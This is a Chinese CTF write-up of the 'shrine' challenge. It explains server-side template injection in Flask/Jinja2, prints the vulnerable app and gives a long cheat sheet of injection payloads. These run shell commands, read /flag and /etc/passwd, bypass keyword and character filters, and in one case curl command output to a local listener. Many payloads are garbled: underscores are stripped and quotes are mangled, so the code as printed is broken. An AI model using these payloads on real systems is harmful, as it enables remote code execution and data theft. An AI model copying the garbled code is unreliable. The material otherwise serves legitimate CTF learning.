[攻防世界web]shrine

参考文章1
参考文章2
构造方法文章

SSTI(服务器模板注入)

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

模板渲染

模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

服务器端注入

服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)
Flask/Jinja2 模板的语法,filters和内建函数,变量,都可能称为绕过的trick

基本语法如下:

  • {{ … }} for Expressions 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果
  • {% … %} for Statements ,可以实现for,if等语句,还支持set语法,可以给变量赋值

根据提示测试 /shrine/{{5+9}}

[攻防世界web]shrine_第1张图片

方法

1. flask内置函数

Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象

{{url_for.globals[‘builtins’].import(‘os’).system(‘ls’)}}
{{request.init.globals[‘builtins’].open(’/flag’).read()}}
如果过滤了config,又需要查config
{{config}}
{{get_flashed_messages.globals[‘current_app’].config}}

2. 通过基类查找子类

虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类
利用

#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]

等得到object 对象,然后通过__subclasses__()方法,得到所有子类,在找重载过__inti__,__repr__等特殊方法的类,利用这些方法的__globals__得到,builtins,或者os,codecs等可以进行代码执行的调用.

(1) 常见payload
// 59 为warnings.WarningMessag
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘eval’
(2) 不使用globals的payload
// 类在在内部定义了_module=sys.modules[‘warnings’],然后warnings模块包含有__builtins__,
如果可以找到warnings.catch_warnings类,则可以不使用 globals
‘’.class.mro[2].subclasses()60._module.builtinsimport’.system(“calc”)

3. 过滤绕过

前置知识

  • 利用python的魔术方法,也可以实现字典,数组取值等操作
  • Jinja2对模板做了特殊处理,所以通过

A[‘init’]
也可以访问A的方法,属性

  • Jinja2 的attr 过滤器可以获得对象的属性或方法

  • flask内置的request对象可以得到请求的信息

request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
4. 关键字过滤
  • 没过滤引号
    如果没用过滤引号,使用反转,或者各种拼接绕过

{{’’.class.mro[1].subclasses()[59].init.globals[‘snitliub’[::-1]]‘eval’}}
{{’’.class.mro[1].subclasses()[59].init.globals[‘buil’+'tins’[::-1]]‘eval’}}

  • 过滤了引号
    利用将需要的变量放在请求中,然后通过[],或者通过attr,__getattribute__获得

// url?a=eval
‘’.class.mro[2].subclasses()[59].init.globals.builtins.request.args.a
// Cookie: aa=class;bb=mro;cc=subclasses
{{((request|attr(request.cookies.get(‘aa’))|attr(request.cookies.get(‘bb’))|list).pop(-1))|attr(request.cookies.get(‘cc’))()}}

  • 如果request被ban,可以考虑通过{{(config.str()[2])+(config.str()[3])}}拼接需要的字符

  • 查出chr函数,利用set赋值,然后使用

{% set chr=().class.bases.getitem(0).subclasses()[59].init.globals.builtins.chr %}{{ ().class.bases.getitem(0).subclasses().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

  • 利用内置过滤器拼接出,’%c’,再利用’’%语法得到任意字符

get % 找到特殊字符<,url编码,得到% {%set pc =
g|lower|list|first|urlencode|first%}

get ‘c’

{%set c=dict(c=1).keys()|reverse|first%}

字符串拼接

{%set udl=dict(a=pc,c=c).values()|join %}

可以得到任意字符了

get _ {%set udl2=udl%(95)%}{{udl}}

5.特殊字符过滤

其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过

  • 过滤[

#getitem、pop
‘’.class.mro.getitem(2).subclasses().pop(40)(’/etc/passwd’).read()
‘’.class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen(‘ls’).read()
‘’.class.mro.getitem(2).subclasses().getitem(59).init.globals.getitem(‘builtins’).getitem(‘import’)(‘os’).system(‘calc’)

  • 过滤双花括号

#用{%%}标记
{% if ‘’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘curl http://127.0.0.1:7999/?i=whoami’).read()==‘p’ %}1{% endif %}
这样会没有回显,考虑带外或者盲注

  • 过滤下划线

和过滤字符串一样绕过即可

绕过原理

  • Python 会根据作用域把代码编译成字节码,然后生成PyCodeObject 对象,然后PyCodeObject 对象在和PyFrameObject关联,PyFrameObject有运行所需的名字空间信息.
  • local是函数内的局部变量
  • global是模块内的全局变量
  • builtin是python内建函数,如open

由于无法直接访问config,直接求出他的绝对路径

/shrine/{{url_for.globals}}

然后访问 /shrine/{{url_for.globals[‘current_app’].config}}

你可能感兴趣的:(ctf-web刷题之旅)